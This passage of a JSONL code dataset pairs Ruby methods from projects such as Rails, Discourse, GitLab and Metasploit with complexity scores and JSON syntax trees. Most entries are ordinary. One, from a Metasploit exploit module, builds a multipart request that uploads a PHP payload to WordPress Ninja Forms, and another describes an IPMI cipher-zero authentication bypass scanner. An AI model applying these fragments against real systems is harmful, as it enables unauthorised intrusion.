end","complexity_score":3.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"IPMI 2.0 Cipher Zero Authentication Bypass Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module identifies IPMI 2.0-compatible systems that are vulnerable\\n\"]},{\"type\":\"str\",\"children\":[\"        to an authentication bypass vulnerability through the use of cipher\\n\"]},{\"type\":\"str\",\"children\":[\"        zero.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Dan Farmer <zen[at]fish2.com>\"]},{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-4782\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://fish2.com/ipmi/cipherzero.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"93038\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"93039\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"93040\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"Jun 20 2013\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[623]}]}]}]}]}]}","id":"b3b041c0-c0e0-4011-b1b6-8793dcce0acf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/notification_recipient.rb","start_line":67,"raw_source":"def custom_enabled?\n    return false unless @custom_action\n    return false unless notification_setting\n\n    notification_setting.event_enabled?(@custom_action) ||\n      # fixed_pipeline is a subset of success_pipeline event\n      (@custom_action == :fixed_pipeline &&\n       notification_setting.event_enabled?(:success_pipeline))\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@custom_action\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_setting\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_setting\"]},\"event_enabled?\",{\"type\":\"ivar\",\"children\":[\"@custom_action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@custom_action\"]},\"==\",{\"type\":\"sym\",\"children\":[\"fixed_pipeline\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_setting\"]},\"event_enabled?\",{\"type\":\"sym\",\"children\":[\"success_pipeline\"]}]}]}]}]}]}]}","id":"3043fa55-ba45-4608-97ff-0ad7e797c8d3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":104,"raw_source":"def test_find_with_ids_and_order_clause\n    # The order clause takes precedence over the informed ids\n    records = Topic.order(:author_name).find([5, 3, 1])\n    assert_equal \"The Third Topic of the day\", records[0].title\n    assert_equal \"The First Topic\",            records[1].title\n    assert_equal \"The Fifth Topic of the day\", records[2].title\n\n    records = Topic.order(:id).find([5, 3, 1])\n    assert_equal \"The First Topic\",            records[0].title\n    assert_equal \"The Third Topic of the day\", records[1].title\n    assert_equal \"The Fifth Topic of the day\", records[2].title\n  end","complexity_score":31.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_with_ids_and_order_clause\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"order\",{\"type\":\"sym\",\"children\":[\"author_name\"]}]},\"find\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The Third Topic of the day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The First Topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The Fifth Topic of the day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"title\"]}]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"find\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The First Topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The Third Topic of the day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The Fifth Topic of the day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"title\"]}]}]}]}","id":"c1545b19-a224-49cb-8e62-ad18d053b709"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/theme.rb","start_line":33,"raw_source":"def rendered_rules(&b)\n        return enum_for(:rendered_rules) unless b\n        yield \"color: #{fg}\" if fg\n        yield \"background-color: #{bg}\" if bg\n        yield \"font-weight: bold\" if self[:bold]\n        yield \"font-style: italic\" if self[:italic]\n        yield \"text-decoration: underline\" if self[:underline]\n\n        (self[:rules] || []).each(&b)\n      end","complexity_score":24.5,"ast_json":"{\"type\":\"def\",\"children\":[\"rendered_rules\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"b\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enum_for\",{\"type\":\"sym\",\"children\":[\"rendered_rules\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fg\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"color: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fg\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bg\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"background-color: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bg\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"bold\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"str\",\"children\":[\"font-weight: bold\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"italic\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"str\",\"children\":[\"font-style: italic\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"underline\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"str\",\"children\":[\"text-decoration: underline\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"rules\"]}]},{\"type\":\"array\",\"children\":[]}]}]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]}]}]}]}]}","id":"6c5c95f9-9eea-4daa-853e-cdbcb66a6ace"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/reviewable.rb","start_line":595,"raw_source":"def self.user_menu_list_for(user, limit: 30)\n    list_for(user, limit: limit, status: :pending, include_claimed_by_others: false).to_a\n  end","complexity_score":2.45,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_menu_list_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"int\",\"children\":[30]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"list_for\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"pending\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_claimed_by_others\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"to_a\"]}]}","id":"78b8c831-1f27-43d9-9dc9-1412c48315ce"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/group_history.rb","start_line":27,"raw_source":"def self.with_filters(group, params = {})\n    records =\n      self\n        .includes(:acting_user, :target_user)\n        .where(group_id: group.id)\n        .order(\"group_histories.created_at DESC\")\n\n    if params.present?\n      params = params.slice(*filters)\n      records = records.where(action: self.actions[params[:action].to_sym]) if params[\n        :action\n      ].present?\n      records = records.where(subject: params[:subject]) if params[:subject].present?\n\n      %i[acting_user target_user].each do |filter|\n        if params[filter].present?\n          id = User.where(username_lower: params[filter]).pluck(:id)\n          records = records.where(\"#{filter}_id\" => id)\n        end\n      end\n    end\n\n    records\n  end","complexity_score":50.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"with_filters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"includes\",{\"type\":\"sym\",\"children\":[\"acting_user\"]},{\"type\":\"sym\",\"children\":[\"target_user\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]}]}]},\"order\",{\"type\":\"str\",\"children\":[\"group_histories.created_at DESC\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filters\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"actions\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]},\"to_sym\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject\"]}]}]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"acting_user\"]},{\"type\":\"sym\",\"children\":[\"target_user\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"filter\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username_lower\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]},null]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"records\"]}]}]}","id":"32c56852-e833-449a-a987-71739526a8d5"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/helpers/assets_helper.rb","start_line":694,"raw_source":"def asset_url(source)\n        return source.url if source.respond_to?(:url)\n        return source if _absolute_url?(source)\n\n        _context.assets[source].url\n      end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"asset_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"url\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"url\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_absolute_url?\",{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_context\"]},\"assets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"source\"]}]},\"url\"]}]}]}","id":"d860f776-4c58-4b57-9233-5cf0579b8f12"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb","start_line":102,"raw_source":"def generate_mime_message(payload_name, nonce)\n    data = Rex::MIME::Message.new\n    data.add_part('nf_async_upload', nil, nil, 'form-data; name=\"action\"')\n    data.add_part(nonce, nil, nil, 'form-data; name=\"security\"')\n    data.add_part(payload.encoded, 'application/x-php', nil, \"form-data; name=\\\"#{Rex::Text.rand_text_alpha(10)}\\\"; filename=\\\"#{payload_name}\\\"\")\n    data\n  end","complexity_score":9.15,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_mime_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload_name\"]},{\"type\":\"arg\",\"children\":[\"nonce\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"nf_async_upload\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"action\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"nonce\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"security\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"str\",\"children\":[\"application/x-php\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"str\",\"children\":[\"\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"ab809201-4c5b-40ba-b8a8-fdba6210e9c8"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/test_case.rb","start_line":149,"raw_source":"def parallelize_setup(&block)\n        ActiveSupport::Testing::Parallelization.after_fork_hook(&block)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parallelize_setup\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Testing\"]},\"Parallelization\"]},\"after_fork_hook\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"75006e1b-ef60-41dd-9c20-7ea33a35065d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/generator.rb","start_line":55,"raw_source":"def col_to_expression_col(col)\n    parts = col.split(\".\")\n    if parts.length == 1\n      table = db\n    else\n      table, col = parts[-2..-1]\n    end\n    \"#{table2class(table)}-#{col}\"\n  end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"col_to_expression_col\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"table\",{\"type\":\"send\",\"children\":[null,\"db\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table\"]},{\"type\":\"lvasgn\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[-2]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table2class\",{\"type\":\"lvar\",\"children\":[\"table\"]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]}]}]}]}]}","id":"18ba7380-d7cd-4ea5-9b01-16cb928d1d1a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_export.rb","start_line":49,"raw_source":"def to_xml_file(path, &block)\n\n    yield(:status, STATUS_START, \"report\") if block_given?\n    extract_target_entries\n    report_file = ::File.open(path, \"wb\")\n\n    report_file.write %Q|<?xml version=\"1.0\" encoding=\"UTF-8\"?>\\n|\n    report_file.write %Q|<MetasploitV5>\\n|\n    report_file.write %Q|<generated time=\"#{Time.now.utc}\" user=\"#{myusername}\" project=\"#{myworkspace.name.gsub(/[^A-Za-z0-9\\x20]/n,\"_\")}\" product=\"framework\"/>\\n|\n\n    yield(:status, STATUS_START, \"hosts\") if block_given?\n    report_file.write %Q|<hosts>\\n|\n    report_file.flush\n    extract_host_info(report_file)\n    report_file.write %Q|</hosts>\\n|\n\n    yield(:status, STATUS_START, \"events\") if block_given?\n    report_file.write %Q|<events>\\n|\n    report_file.flush\n    extract_event_info(report_file)\n    report_file.write %Q|</events>\\n|\n\n    yield(:status, STATUS_START, \"services\") if block_given?\n    report_file.write %Q|<services>\\n|\n    report_file.flush\n    extract_service_info(report_file)\n    report_file.write %Q|</services>\\n|\n\n    yield(:status, STATUS_START, \"web sites\") if block_given?\n    report_file.write %Q|<web_sites>\\n|\n    report_file.flush\n    extract_web_site_info(report_file)\n    report_file.write %Q|</web_sites>\\n|\n\n    yield(:status, STATUS_START, \"web pages\") if block_given?\n    report_file.write %Q|<web_pages>\\n|\n    report_file.flush\n    extract_web_page_info(report_file)\n    report_file.write %Q|</web_pages>\\n|\n\n    yield(:status, STATUS_START, \"web forms\") if block_given?\n    report_file.write %Q|<web_forms>\\n|\n    report_file.flush\n    extract_web_form_info(report_file)\n    report_file.write %Q|</web_forms>\\n|\n\n    yield(:status, STATUS_START, \"web vulns\") if block_given?\n    report_file.write %Q|<web_vulns>\\n|\n    report_file.flush\n    extract_web_vuln_info(report_file)\n    report_file.write %Q|</web_vulns>\\n|\n\n    yield(:status, STATUS_START, \"module details\") if block_given?\n    report_file.write %Q|<module_details>\\n|\n    report_file.flush\n    extract_module_detail_info(report_file)\n    report_file.write %Q|</module_details>\\n|\n\n\n    report_file.write %Q|</MetasploitV5>\\n|\n    report_file.flush\n    report_file.close\n\n    yield(:status, STATUS_COMPLETE, \"report\") if block_given?\n\n    report_file.path\n  end","complexity_score":81.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_xml_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_START\"]},{\"type\":\"str\",\"children\":[\"report\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"extract_target_entries\"]},{\"type\":\"lvasgn\",\"children\":[\"report_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"<MetasploitV5>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<generated time=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"str\",\"children\":[\"\\\" user=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"myusername\"]}]},{\"type\":\"str\",\"children\":[\"\\\" project=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"myworkspace\"]},\"name\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^A-Za-z0-9\\\\x20]\"]},{\"type\":\"regopt\",\"children\":[\"n\"]}]},{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\" product=\\\"framework\\\"/>\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_START\"]},{\"type\":\"str\",\"children\":[\"hosts\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"<hosts>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"flush\"]},{\"type\":\"send\",\"children\":[null,\"extract_host_info\",{\"type\":\"lvar\",\"children\":[\"report_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"</hosts>\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"sym\",\"children\":[\"